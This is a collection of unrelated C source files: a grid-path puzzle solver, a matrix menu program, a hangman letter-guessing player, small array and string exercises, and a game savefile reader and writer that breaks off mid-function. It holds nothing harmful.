#include <stdio.h> #include <string.h> #include <math.h> #include <glib.h> #include <malloc.h> typedef enum DIR { NORTH, SOUTH, EAST, WEST } direction; typedef struct POINT { int x; int y; } point; direction change_direction(direction current, char turn) { switch (current) { case NORTH: if (turn == 'R') { return EAST; } else { return WEST; } break; case SOUTH: if (turn == 'R') { return WEST; } else { return EAST; } break; case EAST: if (turn == 'R') { return SOUTH; } else { return NORTH; } break; case WEST: if (turn == 'R') { return NORTH; } else { return SOUTH; } break; } } int distance (point *a,point *b) { return sqrt(pow((a->x - b->x),2) + pow((a->y - b->y),2)); } gboolean is_on(point *a, point *b, point *c) { return distance (a, c) + distance (c, b) == distance(a, b); } gboolean does_intercept(GList *list, point *p1) { if (list == NULL) return FALSE; GList *i = list; point *p2 = i->data; i = i->next; gboolean ret = FALSE; while (i) { if (i->next == NULL) return FALSE; point *p3 = i->data; point *p4 = i->next->data; // Points are parallel if ( (p1->x-p2->x)*(p3->y-p4->y)-(p1->y-p2->y)*(p3->x-p4->x) == 0) { i = i->next; continue; } // find intersect point p = { ((p1->x * p2->y - p1->y * p2->x)*(p3->x - p4->x) - (p1->x - p2->x)*(p3->x*p4->y-p3->y*p4->x)) / ((p1->x-p2->x)*(p3->y-p4->y)-(p1->y-p2->y)*(p3->x-p4->x)), ((p1->x*p2->y-p1->y*p2->x)*(p3->y-p4->y) - (p1->y - p2->y)*(p3->x*p4->y-p3->y*p4->x)) / ((p1->x-p2->x)*(p3->y-p4->y)-(p1->y-p2->y)*(p3->x-p4->x)) }; //ensure intersect point is on both line segments if (is_on(p1, p2, &p) && is_on(p3, p4, &p)) { printf("First Intersect point: (%2d, %2d) %d\n",p.x, p.y, (abs(p.x) + abs(p.y))); return TRUE; } i = i->next; } return ret; } int main(void) { char input[] = "R4, R5, L5, L5, L3, R2, R1, R1, L5, R5, R2, L1, L3, L4, R3, L1, L1, R2, R3, R3, R1, L3, L5, R3, R1, L1, R1, R2, L1, L4, L5, R4, R2, L192, R5, L2, R53, R1, L5, R73, R5, L5, R186, L3, L2, R1, R3, L3, L3, R1, L4, L2, R3, L5, R4, R3, R1, L1, R5, R2, R1, R1, R1, R3, R2, L1, R5, R1, L5, R2, L2, L4, R3, L1, R4, L5, R4, R3, L5, L3, R4, R2, L5, L5, R2, R3, R5, R4, R2, R1, L1, L5, L2, L3, L4, L5, L4, L5, L1, R3, R4, R5, R3, L5, L4, L3, L1, L4, R2, R5, R5, R4, L2, L4, R3, R1, L2, R5, L5, R1, R1, L1, L5, L5, L2, L1, R5, R2, L4, L1, R4, R3, L3, R1, R5, L1, L4, R2, L3, R5, R3, R1, L3"; char input_1[] = "R8, R4, R4, R8"; char *tok = strtok(input, ", "); point p = {0}; GList *point_list = g_list_prepend(NULL, &p); direction current_dir = NORTH; while (tok) { point *p = calloc(1, sizeof *p); *p = *(point *)point_list->data; char turn = tok[0]; int len = strtoul(&tok[1],NULL, NULL); current_dir = change_direction(current_dir, turn); switch (current_dir) { case NORTH: p->y += len; break; case SOUTH: p->y -= len; break; case EAST: p->x += len; break; case WEST: p->x -= len; break; } if (does_intercept(point_list, p)) break; point_list = g_list_prepend(point_list, p); tok = strtok(NULL, ", "); } /* GList *i = point_list; while (i) { point *p = i->data; printf("(%2d,%2d)\n",p->x, p->y); i = i->next; } */ }
C
#include <stdio.h> #define MAXS 10 char *match(char *s, char ch1, char ch2); int main() { char str[MAXS], ch_start, ch_end, *p; scanf("%s\n", str); scanf("%c %c", &ch_start, &ch_end); p = match(str, ch_start, ch_end); printf("%s\n", p); return 0; } char *match(char *s, char ch1, char ch2) { int i; int index = -1; for (i = 0; s[i]; i++) { if (index == -1 && s[i] == ch1) index = i; if (index != -1) printf("%c", s[i]); if (index != -1 && s[i] == ch2) break; } printf("\n"); if (index == -1) return NULL; else return s + index; }
C
#include "miniRT.h" int clamp(int data, int min, int max) { if (data > max) return (max); if (data < min) return (min); return (data); } t_color new_color(int r, int g, int b) { t_color color; color.t_rgb.r = clamp(r, 0, 255); color.t_rgb.g = clamp(g, 0, 255); color.t_rgb.b = clamp(b, 0, 255); return (color); }
C
#ifndef FUNCIONES_H_INCLUDED #define FUNCIONES_H_INCLUDED /** Suma dos numeros enteros y guarda el resultado de la operacion en resultado * * Si no hubo errores devuelve 0. * En caso de error de overflow devuelve -1. */ int sumarEnteros(int primerNumero, int segundoNumero, float* resultado); /** Resta dos numeros enteros y guarda el resultado de la operacion en resultado * * Si no hubo errores devuelve 0. * En caso de error de overflow devuelve -1. */ int restarEnteros(int primerNumero, int segundoNumero, float* resultado); /** Divide dos numeros enteros y guarda el resultado de la operacion en resultado * * Si no hubo errores devuelve 0. * En caso de dar error al querer dividir por 0, devuelve -1. */ int dividirEnteros(int primerNumero, int segundoNumero, float* resultado); /** Multiplica dos numeros enteros y guarda el resultado de la operacion en resultado * * Si no hubo errores devuelve 0. * En caso de error de overflow devuelve -1. */ int multiplicarEnteros(int primerNumero, int segundoNumero, float* resultado); #endif // FUNCIONES_H_INCLUDED
C
#include<stdio.h> #include<ctype.h> int main(){ FILE*f1 , *f2; f1=fopen("studenti.txt","r"); char std; std=fgetc(f1); f2=fopen("ex16.txt","w"); while (std != EOF) { fputc(toupper(std),f2); std = fgetc(f1); } fclose(f1); fclose(f2); }
C
/* Name: parimal kiran muley Rollno: 588[E] Problem: Write a menu-driven program in c to perform addition, subtraction, division, and the transpose of metrics 1. Addition 2. Subtraction 3. Transpose 4. Division 5. Exit */ #include <stdio.h> int main() { int choice; //variable declaration int i,j,w,x,y,z,n; //variable declaration printf("enter number of rows and columns of A : "); //ask user to enter number of rows and columns of matrix A scanf("%d", &w); //store number of rows scanf("%d", &x); //store number of columns int A[w][x]; //array declaration int At[x][w]; //array declaration printf("enter number of rows and columns of B : ");//ask user to enter number of rows and columns of matrix B scanf("%d", &y); //store number of rows scanf("%d", &z); //store number of columns int B[y][z]; //array declaration int Bt[z][y];//array declaration printf("\nenter numbers in A matrix:\n"); //ask user to enter numbers in matrix A for(i=0;i<w;i++) //checking condition { for(j=0;j<x;j++) //checking condition scanf("%d", &A[i][j]); //store numbers } printf("\nmatrix A: \n"); //message for(i=0;i<w;i++) //checking condition { for(j=0;j<x;j++) //checking condition { printf("%d", A[i][j]); //display matrix A printf(" "); } printf("\n"); } printf("\nenter numbers in B matrix:\n"); //ask user to enter number in matrix B for(i=0;i<y;i++) //checking condition { for(j=0;j<z;j++) //checking condition scanf("%d", &B[i][j]); //store numbers } printf("\nmatrix B: \n"); //message for(i=0;i<y;i++) //checking condition { for(j=0;j<z;j++) //checking condition { printf("%d", B[i][j]); //display matrix B printf(" "); } printf("\n"); } while(1) //checking condition { //start of while loop printf("\nselect the operation you want to perform"); printf("\n\n1.addition \n2.substraction \n3.transpose \n4.Division \n5.exit: "); //ask user to enter choice scanf("%d", &choice); //store user choice if(choice==5) //checking condition { break; } switch(choice) { //start of switch case case 1: if(w==y && x==z) //checking condition { printf("\n\nThe Addition of matrices is: \n"); //output message for(i=0;i<w;i++) //checking condition { for(j=0;j<x;j++) //checking condition { printf("%d", A[i][j]+B[i][j]); //output printf(" "); } printf("\n"); } } else printf("\nwrong input \nrows and columns of both matrices should be same"); break; case 2: if(w==y && x==z) //checking condition { printf("\n\nThe Substraction of matrices is: \n"); //output message for(i=0;i<w;i++) //checking condition { for(j=0;j<x;j++) //checking condition { printf("%d", A[i][j]-B[i][j]); //output printf(" "); } printf("\n"); } } else printf("\nwrong input \nrows and columns of both matrices should be same"); break; case 3: for(i=0;i<w;i++) //checking condition { for(j=0;j<x;j++) //checking condition { At[j][i]=A[i][j]; //calcualting transpose of matrix A } } printf("\nThe transpose of matrix A is: \n"); //output message for(i=0;i<x;i++) //checking condition { for(j=0;j<w;j++) //checking condition { printf("%d", At[i][j]); //output printf(" "); } printf("\n"); } for(i=0;i<y;i++) //checking condition { for(j=0;j<z;j++) //checking condition { Bt[j][i]=B[i][j]; //calcualting transpose of matrix A } } printf("\nThe transpose of matrix B is: \n"); //output message for(i=0;i<z;i++) //checking condition { for(j=0;j<y;j++) //checking condition { printf("%d", Bt[i][j]); //output printf(" "); } printf("\n"); } break; case 4: printf("\n enter number n for division: "); //ask user to enter value of n scanf("%d", &n); //store value of n in variable "n" printf("\nThe division of matrix A by number n is: \n"); //output message for(i=0;i<w;i++) //checking condition { for(j=0;j<x;j++) //checking condition { printf("%d", A[i][j]/n); //output printf(" "); } printf("\n"); } printf("\nThe division of matrix B by number n is: \n"); //output message for(i=0;i<y;i++) //checking condition { for(j=0;j<z;j++) //checking condition { printf("%d", B[i][j]/n); //output printf(" "); } printf("\n"); } break; default: printf("\n\nwrong choice"); //wrong choice message } //end of switch case() } //end of while loop printf("\n\nThank you for using this program"); //thank you message return 0; } //end of main() /* output: enter number of rows and columns of A : 3 3 enter number of rows and columns of B : 3 3 enter numbers in A matrix: 6 8 4 2 6 4 6 2 4 matrix A: 6 8 4 2 6 4 6 2 4 enter numbers in B matrix: 12 22 32 10 20 22 14 24 62 matrix B: 12 22 32 10 20 22 14 24 62 select the operation you want to perform 1.addition 2.substraction 3.transpose 4.Division 5.exit: 1 The Addition of matrices is: 18 30 36 12 26 26 20 26 66 select the operation you want to perform 1.addition 2.substraction 3.transpose 4.Division 5.exit: 2 The Substraction of matrices is: -6 -14 -28 -8 -14 -18 -8 -22 -58 select the operation you want to perform 1.addition 2.substraction 3.transpose 4.Division 5.exit: 3 The transpose of matrix A is: 6 2 6 8 6 2 4 4 4 The transpose of matrix B is: 12 10 14 22 20 24 32 22 62 select the operation you want to perform 1.addition 2.substraction 3.transpose 4.Division 5.exit: 4 enter number n for division: 2 The division of matrix A by number n is: 3 4 2 1 3 2 3 1 2 The division of matrix B by number n is: 6 11 16 5 10 11 7 12 31 select the operation you want to perform 1.addition 2.substraction 3.transpose 4.Division 5.exit: 5 Thank you for using this program -------------------------------- Process exited after 196.1 seconds with return value 0 Press any key to continue . . .*/
C
/* // Try JUST GUESSING E for fist letter, increased other ppls score a shit ton Authors (group members): Taylor Ertrachter (Leader), Noah Wilson, Matthew Dawson, James Spies // Email addresses of group members: [email protected], [email protected], [email protected], [email protected] Group name: ~Dream Team~ Course: CSE 2010 Section: 23 Description of the overall algorithm: The game of Hangman asks a player to guess a hidden wordone letter at a time. The player is allowed up to 6 incorrectguesses (body parts). This is how we would design a system that can guess letters/words correctly and quickly. */ #include "hangmanPlayer.h" #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdbool.h> #include <ctype.h> #define max_word_len 27 typedef struct PRIMARY{ int word_count; int letter_freq[26]; int *array_loc; }PRIMARY; // Create overarching structure "PRIMARY MANAGMENT STRUCT" // Even if max_word_len is much over the actual max word, the wasted data // is neglagible since we find the acutal longest len before we malloc the larger file location arrays PRIMARY PMS[max_word_len]; PRIMARY TEMP; int LETTER_ARR[26]; FILE * MASTER_FILE; void WRITE(FILE *MASTER_FILE, PRIMARY *PMS); void T_PRINT(FILE *MASTER_FILE, PRIMARY *PMS); int rewrite_letter_freq(char *current_word); void T_FREQ(PRIMARY *PMS, int); // initialize data structures from the word file void init_hangman_player(char* word_file){ int i, j; // !!!!! MASTER FILE MUST ALWAYS STAY ASSINGED TO ITS CURRENT MEM ADDRESS // !!!!!! i.e. never fclose this unless a win or loss occcurs if((MASTER_FILE = fopen(word_file, "r")) == 0){ //printf("incorrect file 1 name \n"); fclose(MASTER_FILE); return ; } //INITIALIZE LETTER FREQUENCY for(i=0;i<max_word_len;i++){ PMS[i].word_count = 0; PMS[i].array_loc = 0; //INITIALIZE LETTER FREQUENCY for(j=0;j<26;j++){ PMS[i].letter_freq[j]=0; } } //INITIALIZE TEMP STRUCTURE THAT WILL CONTAIN INTIAL VALUES // OF PMS[I], THEN WILL BE MODIFY/RESORTED TEMP.word_count = 0; TEMP.array_loc = 0; for(j=0;j<26;j++){ TEMP.letter_freq[j]=0; } WRITE(MASTER_FILE, PMS); //T_PRINT(MASTER_FILE, PMS); //T_FREQ(PMS); fseek(MASTER_FILE, 0, SEEK_SET); //printf("\n"); return ; } void WRITE(FILE *MASTER_FILE, PRIMARY *PMS) { int i = 0; int j = 0; int k = 0; int flag = 0; int l_var = 0; int true_max_len = 0; // to find the "actual" longest word int cur_len = 0; // removed int long int pos; char c_word[max_word_len]; //current word scaned in, not the other word you pervert // loop through entire word list // For each word of length n, get its total number of occurence so we can malloc array after // Get the total frequency of letters occuring for each ///// // We just need lenght of words not to copy as entire string them has to be a faster way ///// // to get just the lenght should be able to just ++ char untill '\0' ?? while (fscanf(MASTER_FILE, "%s", c_word) == 1) { // find the lenght of the word cur_len = strlen(c_word); if (cur_len > true_max_len) { true_max_len = cur_len; } // Increment total amount of words for the found length // Must subtract to offset index PMS[cur_len - 1].word_count++; //printf("Len: %d Word: %s Len_Occurance:%d\n", cur_len, c_word, PMS[cur_len - 1].word_count); } TEMP.array_loc = (int *) malloc(max_word_len * sizeof(int)); // removed int long ///////////////////////////// /// END OF FIRST SCAN TO FIND /// 1. True Max Length /// 2. Find word totals for each length /// ///////////////////////////// ///////////////////////////// ///////////////////////////// // Create arrays to fill w/ the file position of word w/ coresponding length. We use true max to save memory // in case max_word_len will liekly be larger for (i = 0; i < true_max_len; i++) { //printf("%d", PMS[i].word_count); PMS[i].array_loc = (int *) malloc(PMS[i].word_count * sizeof(int)); // removed int long //printf("\n"); } ///////////////////////////// Loop through for each length, ///////////////////////////// // Here we are adding in the locations of the word, and generating frequency for (i = 0; i < true_max_len; i++) { // Reset the file pointer to the begining position fseek(MASTER_FILE, 0, 0); k = 0; flag = 0; pos = ftell(MASTER_FILE); fscanf(MASTER_FILE, "%s", c_word); while (flag != -1) { ////printf("**%s**\n", c_word); if (((cur_len = strlen(c_word)) == (i + 1))){ c_word[0] = tolower(c_word[0]); //pos = ftell(MASTER_FILE); PMS[i].array_loc[k] = pos; //printf("Struct[%d].array_loc[%d] Word: %s Posn: %d \n", i, k, c_word, pos); k++; // Get frequency // to avoid massive swith statement for each case of a, b, c, d ect // convert letter to integer, subtract from asci value of a = 97 // ex. b=98, 98-97 = 1, index 1 (correlates to b) is incremented // leave l_var as is, some reason you cant subtract 97 on same line... for (j = 0; j <= i; j++) { l_var = c_word[j]; l_var = l_var - 97; ////printf("%c - a = %d \n", c_word[j], l_var); PMS[cur_len-1].letter_freq[l_var]++; } //printf("\n"); } pos = ftell(MASTER_FILE); if (fscanf(MASTER_FILE, "%s", c_word) != 1) { flag = -1; ////printf("c_word: %s \n", c_word); } } ////printf("\n\n\n"); } return ; } // based on the current (partially filled or intitially blank) word, guess a letter // current_word: current word -- may contain blanks, terminated by a null char as usual // is_new_word: indicates a new hidden word (current_word has blanks) // returns the guessed letter // Assume all letters in a word are in lower case // **************** MAJOR ISSUE ******************* // guess_hangman_player w/in the eval.c prog calls in a loop, therefore // FLAGS // 1. // 2. We made a correct guess or are out of guesses, reset temp // char guess_hangman_player(char* current_word, bool is_new_word){ //Initialize variables int q=0, w=0; int best_guess = 0; //The variable that stores the index of the highest frequency letter int length = strlen(current_word) - 1; //The length of the word //printf("Len:%d Bool:%d WORD |*%s*| TOTAL WORD COUNT:%d\n", length+1, is_new_word, current_word, PMS[length].word_count); // we know if its a new words we need to reset temp and fill with stuct of that len if(is_new_word == true){ //printf("NEW WORD\n"); // COPY WORD COUNT TEMP.word_count=PMS[length].word_count; // COPY ALL WORD LOCATIONS (text positions) TO TEMP.array_loc for(q=0; q < TEMP.word_count; q++){ TEMP.array_loc[q]=PMS[length].array_loc[q]; } // // // DELETE PRIN STATEMENT // for(q=0; q < PMS[length].word_count; q++){ // //printf("PMS[%d] TEMP.array_loc[%d] %d\n", length, q, TEMP.array_loc[q]); // } // COPY OVER PER PMS[LENGTH]FRQUENCIES for(w=0;w<26;w++){ TEMP.letter_freq[w]=PMS[length].letter_freq[w]; LETTER_ARR[w]=PMS[length].letter_freq[w]; // ALSO GRAB THE HIGHEST OCCURING FREQUENCY WORD for inital guess if(length > 0){ // Guesses highest freq vowel on first guess ************ if(((w == 0) || (w == 4) || (w == 8) || (w == 14) || (w == 20) || (w == 24)) && (TEMP.letter_freq[w] > TEMP.letter_freq[best_guess])){ best_guess = w; } }else{ if(TEMP.letter_freq[w] > TEMP.letter_freq[best_guess]){ best_guess = w; } } } T_FREQ(PMS, length); //printf("best initial guess[%d] = %c\n", best_guess, 97+best_guess); //Once best_guess is found, input -1 into the freq arrays so not guessing same letter again LETTER_ARR[best_guess] = -1; TEMP.letter_freq[best_guess] = -1; //if not a new word == FALSE, we can refine our next guess here, generate new freq }else{ //printf("SAME WORD\n"); // Call rewrite_letter_freq to get new best freq best_guess = rewrite_letter_freq(current_word); // ************************************************************* // // COPY OVER FRQUENCIES // for(int w=0;w<26;w++){ // TEMP.letter_freq[w]=PMS[length].letter_freq[w]; // // ALSO GRAB THE HIGHEST OCCURING FREQUENCY WORD for inital guess // if(TEMP.letter_freq[w] > TEMP.letter_freq[best_guess]){ // ////printf("best_guess[%d] = %c\n", best_guess, 97+best_guess); // best_freq = TEMP.letter_freq[w]; // best_guess = w; // } // // ZERO OUT LETTER_ARR // LETTER_ARR[w]=0; // } // ************************************************************* } //T_FREQ(PMS); //printf("GET BEST GUESS[%d]: %c, FREQ: %d \n", best_guess, 97+best_guess, TEMP.letter_freq[best_guess]); // HERE WE HAVE TO NOW FLAG THE LETTER WE GUESSED FROM OUR CURRENT FREQ // FLAG WITH VALUE OF -1 TEMP.letter_freq[best_guess] = - 1; //LETTER_ARR[best_guess] = 1; return ((char)(best_guess+97)); } // THIS FUNCTION IS USED TO RE-SORT THE ARRAY/LIST W/E INTO void feedback_hangman_player(bool is_correct_guess, char* current_word){ int bad_word = 0; int good_word = 0; int key_position = 0; int key_value = 0; int length = strlen(current_word) - 1; char key_letter = ' '; char copy[max_word_len]; int i=0; // GET LETTER GUESSED IN GUESS_HANG_MAN_PLAYER WERE WE FLAGED // TEMP.letter_freq[best_guess] = - 1; //////////////// for(i=0; i<26; i++){ if(TEMP.letter_freq[i] == -1){ key_position = i; //not sure here key_letter = (char) (i+97); key_value =i+97; //printf("FEEDBACK: index_position:%d letter:%c value%d\n",key_position, key_letter, key_value); break; } } ////////////////////////IF WRONG GUESS /////////////////////////////////// // ALGORITHM: SORTING. RE-WRITES FILE LOCATIONS ONLY CONTAING WORDS W/ OUT THE // BAD LETTER. // HERE IS TO "DELETE" EVERY LOCATION CONTAINING A WORD WITH THE WRONG // LETTER GUESS. WE USE THE INDEXED TEMP.array_loc[] "LIST" TO DO THIS, AND OVER WRITE // THE INDEXED LOCATIONS CONTAINING AN INCORRECT WORD. ONCE THE SEARCH THOUGH ALL // TEMP.word_count IS COMPLETE, WORD COUNT WHICH IS THE "LENGTH" OF OUR LIST IS UPDATED // TO THE VALUE OF TIMES WORDS WERE FOUND NOT CONTAINING THE BAD LETTER. if(is_correct_guess == false){ // FLAG THE VALUE AS NO LONGER CURRENT GUESS OR AVAILABLE GUESS TEMP.letter_freq[key_position] = -3; //printf("WRONG GUESS: REMOVING WORDS CONTAINING : %c\n", key_letter); // 1ST LOOP: USED TO COPY IN EVERY WORD IN TEMP.array_loc[] for(i=0;i<TEMP.word_count;i++){ if(TEMP.array_loc[i] == -1){ //printf("TEMP.array_loc[i] == -1 ////ERROR"); }else{ // COPY WORD AT FILE POSTION fseek(MASTER_FILE, TEMP.array_loc[i], 0); fscanf(MASTER_FILE, "%s", copy); // 2nd LOOP: CHECK ALL THE LETTERS FOR THE BAD LETTER for(int k=0; k<=length; k++){ // WE CAN SPEED THIS UP TO BREAK WHEN IF IS MET BUT FLAG IS SAFER FOR NOW if(key_letter == copy[k]){ TEMP.array_loc[i] = -1; } } } } // FOR LOOP SEARCH COMPLETE, SET NEW WORD COUNT TO A NEWLY "SORTED" LENGTH //TEMP.array_loc[counter]=-1; //TEMP.word_count = counter; //////////////////////// IF CORRECT GUESS /////////////////////////////////// }else{ //printf("Correct GUESS : %c\n", key_letter); //TEMP.array_loc[counter] = -1; // FLAG THE VALUE AS NO LONGER CURRENT GUESS OR AVAILABLE GUESS for(int t = 0; t < TEMP.word_count; t++){ if(TEMP.array_loc[t] != -1){ fseek(MASTER_FILE, TEMP.array_loc[t], 0); fscanf(MASTER_FILE, "%s", copy); for(int q = 0; q<=length; q++){ if((current_word[q] - 97 >= 0) && (copy[q] != current_word[q])){ TEMP.array_loc[t] = -1; } } } } TEMP.letter_freq[key_position] = -2; //printf("key posn%d should be -2: %d\n", key_position, TEMP.letter_freq[key_position]); } return; } /* / FIND THE LOCATIONS OF THE CURRENT WORD WHERE THE CORRECT LETTER RESIDES for(int j=0; j<26; j++){ if(current_word[i]==LETTER_ARR[j]){ if(-1 == LETTER_ARR[key_position]){ // this does nothing the letter was already flagged as used }if(1 == LETTER_ARR[key_position]){ // letter in that position was already guessed LETTER_ARR[key_position] = -1; // We found the letter that was guessed correctly // AND the position is empty (this should never be the case but yea) }else if((current_word[i] == key_letter) && (0 == LETTER_ARR[key_position])){ // We set equal to 1 LETTER_ARR[key_position] = 1; //// We can also generate new frequencies based off this /// //********************************************************** // // // } } // END of IF statement for blank values } } */ int rewrite_letter_freq(char *current_word){ //go to primary array with word len=current_word len int length=strlen(current_word) - 1; int counter = 0; int i=0, k=0, flag=0; int letters_found; char copy[max_word_len]; char key_letter = ' '; char key_value = 0; char key_position = ' '; int word_length = 0; // WE ALREADYT RESORTED ALL OF OUR VALUES WE JUST NEED TO GENERATE NEW FREQ AND BEST GUESS // WE KNOW THAT VALUES of LETTER ARRAY[i] = -2 indicate already guessed values // RESET ALL FREQ VALUES FOR EVERY LETTER OTHER THAN THOSE ALREADY GUESSED for(i=0; i<26; i++){ if((TEMP.letter_freq[i] != -3) && (TEMP.letter_freq[i] != -2)){ TEMP.letter_freq[i] = 0; letters_found++; }else{ //printf("TEMP.letter_freq[%d]" , i, TEMP.letter_freq[i]); } } //printf("****************************************************\n"); T_FREQ(PMS,length); // CALUCLATE NEW FREQ for(int p = 0; p < TEMP.word_count; p++){ if(TEMP.array_loc[p] != -1){ fseek(MASTER_FILE, TEMP.array_loc[p], 0); fscanf(MASTER_FILE, "%s", copy); //printf("-++++++-Word:%s Word_Count%d lenght%d\n",copy, TEMP.word_count, length+1); for(int q = 0; q<=length; q++){ key_letter=copy[q]; key_value = key_letter - 0; key_position = key_value - 97; if((TEMP.letter_freq[key_position] < 0)){ //printf("do nothing\n"); }else{ //printf("%d--------Word:%s %c\n",q, copy, copy[q]); switch(copy[q]){ case 'a': TEMP.letter_freq[0]++; break; case 'b': TEMP.letter_freq[1]++; break; case 'c': TEMP.letter_freq[2]++; break; case 'd': TEMP.letter_freq[3]++; break; case 'e': TEMP.letter_freq[4]++; break; case 'f': TEMP.letter_freq[5]++; break; case 'g': TEMP.letter_freq[6]++; break; case 'h': TEMP.letter_freq[7]++; break; case 'i': TEMP.letter_freq[8]++; break; case 'j': TEMP.letter_freq[9]++; break; case 'k': TEMP.letter_freq[10]++; break; case 'l': TEMP.letter_freq[11]++; break; case 'm': TEMP.letter_freq[12]++; break; case 'n': TEMP.letter_freq[13]++; break; case 'o': TEMP.letter_freq[14]++; break; case 'p': TEMP.letter_freq[15]++; break; case 'q': TEMP.letter_freq[16]++; break; case 'r': TEMP.letter_freq[17]++; break; case 's': TEMP.letter_freq[18]++; break; case 't': TEMP.letter_freq[19]++; break; case 'u': TEMP.letter_freq[20]++; break; case 'v': TEMP.letter_freq[21]++; break; case 'w': TEMP.letter_freq[22]++; break; case 'x': TEMP.letter_freq[23]++; break; case 'y': TEMP.letter_freq[24]++; break; case 'z': TEMP.letter_freq[25]++; break; } } } } } int best_guess = 0; int best_freq = 0; int vowel_counter = 0; for(int q=0; q<sizeof(current_word); q++){ if(current_word[q] == 'a' || current_word[q] == 'e' || current_word[q] == 'i' || current_word[q] == 'o' || current_word[q] == 'u'){ vowel_counter++; } } for(i=0; i<26; i++){ if((TEMP.letter_freq[i] != -3) && (TEMP.letter_freq[i] != -2)){ if(TEMP.letter_freq[i] > TEMP.letter_freq[best_guess]){ best_guess = i; best_freq = TEMP.letter_freq[i]; ////printf("best_guess: %d best_freq: %d current_freq: %d", best_guess, best_freq,TEMP.letter_freq[i]); } else if(TEMP.letter_freq[i] == TEMP.letter_freq[best_guess]){ if(length <= 2){ if(vowel_counter <= 1){ if((i == 0) || (i == 4) || (i == 8) || (i == 14) || (i == 20) || (i == 24)){ best_guess = i; } } else{ best_guess = best_guess; } } else if(length > 2 && length < 7){ if(vowel_counter <= 3){ if((i == 0) || (i == 4) || (i == 8) || (i == 14) || (i == 20) || (i == 24)){ best_guess = i; } } else{ best_guess = best_guess; } } else if(length > 6 && length < 10){ if(vowel_counter <= 4){ if((i == 0) || (i == 4) || (i == 8) || (i == 14) || (i == 20) || (i == 24)){ best_guess = i; } } else{ best_guess = best_guess; } } else{ if(vowel_counter <= 5){ if((i == 0) || (i == 4) || (i == 8) || (i == 14) || (i == 20) || (i == 24)){ best_guess = i; } } else{ best_guess = best_guess; } } } } //printf("best_guess: %d best_freq: %d current_freq: %d\n", best_guess, best_freq,TEMP.letter_freq[i]); } T_FREQ(PMS, length); //printf("************************ BEST GUESS: %d\n",best_guess ); return best_guess; } // first update the LETTER_ARR table where // 0 means not found // 1 means just found // -1 means it was already found //// Idea is later we can implement a better guessing algoritm // This would allow us to tally frequences to left and right // of every // |0|1|2|3|4|5|6|7| 8|9|10|11|12|.... // |a|b|c|d|e|f|g|h| i|j|k |l |m |..... // |1|0|1|0|0|0|0|1|-1|0|-1|0 |0 |..... // // actuall word: Caleham // what our prog sees: ca__ha_ // // From that we can calculate frequencies to the left and right of // the areas that are non-zero // //// void T_PRINT(FILE *MASTER_FILE, PRIMARY *PMS){ int i = 0,j; int pos; char temp[max_word_len]; while (i < max_word_len){ for(j=0;j<PMS[i].word_count;j++) { pos = PMS[i].array_loc[j]; fseek(MASTER_FILE, pos, 0); fscanf(MASTER_FILE, "%s\n", temp); //printf("Struct[%d].array_loc[%d] total: %d Word: %s Posn %d \n",i, j, PMS[i].word_count, temp, pos); } i++; } return ; } void T_FREQ(PRIMARY *PMS, int length){ int i = length,j; int pos; char temp[max_word_len]; //while (i < max_word_len){ //printf("Total Words: %d\n",TEMP.word_count); for(j=0;j<26;j++) { //printf("Struct[%d].letter_freq[%d] letter: %c letter_freq %d \n",i, j, 'a'+j, TEMP.letter_freq[j]); } //printf("\n"); i++; //} }
C
#include <stdio.h> #include <stdbool.h> #define M 3 #define N 2 // 第1维长度必须留空,但方括号不能省略 // 第2维必须指明长度 int sum(int a[][N], int); int main(void) { int i, j; int a[M][N]; for(i = 0; i < M; i++) { for(j = 0; j < N; j++) { a[i][j] = (i + 1) * (j + 1); } } printf("%d\n", sum(a, M)); return 0; } // 函数定义 // a本质上是一个指向第2维长度是N的 // 二维数组的指针 int sum(int a[][N], int m) { int i, j; int sum = 0; for(i = 0; i < m; i++) { for(j = 0; j < N; j++) { sum += a[i][j]; } } return sum; }
C
#include <stdio.h> #include <stdlib.h> #include <stdint.h> #include "mz/type.h" #include "mz/logger.h" #include "test/linkedlist.c" #include "test/arraylist.c" char *(*testSuite)(void); int test_runner(char *desc, char *(*testSuite)(void)) { char *result = (*testSuite)(); printf("TEST SUITE: %s\n", desc); printf("---------------------------------\n"); if (result != 0) { printf("%s\n", result); } else { printf("ALL TESTS PASSED\n"); } printf("\n"); return result != 0; } int main(int argc, char *argv[]) { int r1 = test_runner("linkedlist", &mz_linkedlist_tests); int r2 = test_runner("arraylist", &mz_arraylist_tests); printf("TESTS RUN = %d\n", tests_run); return r1 == r2 == 1; }
C
/* struct ListNode { int val; struct ListNode *next; ListNode(int x) : val(x), next(NULL) { } };*/ class Solution { public: ListNode* FindKthToTail(ListNode* pListHead, unsigned int k) { //ÿָKָK //ȻһߣߵNULLָΪ ListNode* quick = pListHead, *slow = pListHead; while (k--) { if (quick == NULL)//˵kֵ { return NULL; } quick = quick->next; } while (quick) { slow = slow->next; quick = quick->next; } return slow; } };
C
#include "save.h" /* savefile로부터 Player info 읽어오는 함수 */ Player* read_savefile(){ char* originalSaveFilePath = "./savefile/savefile.txt"; // 저장된 savefile 위치 FILE* in; makeSaveDir(); // savefile directory가 존재하지 않는다면 폴더 생성 if((in = fopen(originalSaveFilePath, "r")) == NULL){ // savefile을 read 모드로 파일을 연다. // 파일이 존재하지 않는다면 NULL 반환 return NULL; } // 파일이 존재한 경우 Player* head = NULL; char line[60]; char name[20]; int stage, score; fgets(line, 60, in); // 처음 설명 string 읽기 fgets(line, 60, in); // 그 다음부터 읽기 while (!feof(in)) { sscanf(line, "%17s%3d%13d", name, &stage, &score); // 일정 형식 대로 file로부터 읽어 각각 name, stafge, score에 저장 head = append(head, create_node(name, stage, score)); // head에 node 추가 fgets(line, 60, in); // 다음 줄 읽기 } return head; } /* savefile을 쓰는 함수 */ error_t write_savefile(Player* head){ char* tempSaveFilePath = "./savefile/tmp.txt"; // 임시 savefile 위치 FILE* out; if((out = fopen(tempSaveFilePath, "w")) == NULL){ // 임시 savefile을 write 모드로 열기 printf("Can't open %s file\n", tempSaveFilePath); exit(1); } fprintf(out, "%7s%15s%14s\n", "Name", "Stage", "Score"); // 먼저 category 줄 출력 printPlayerList(head, out); // out stream에 head Linked List 출력 fclose(out); system("mv ./savefile/tmp.txt ./savefile/savefile.txt"); // 임시 savefile을 원래 savefile로 덮어 씌우기 } /* savefile로부터 플레이어를 찾는 함수 */ Player* search_player(Player* head, char name[]){ if (head == NULL) { // 읽어온 Player가 없다면 head = append(head, create_node(name, 0, 0)); // 새로 만들어 head를 return return head; } else { // 읽어온 Player가 존재한다면 do { if(strcmp(head->name, name) == 0){ // 이름을 비교해 일치하면 해당 node 반환 return head; } 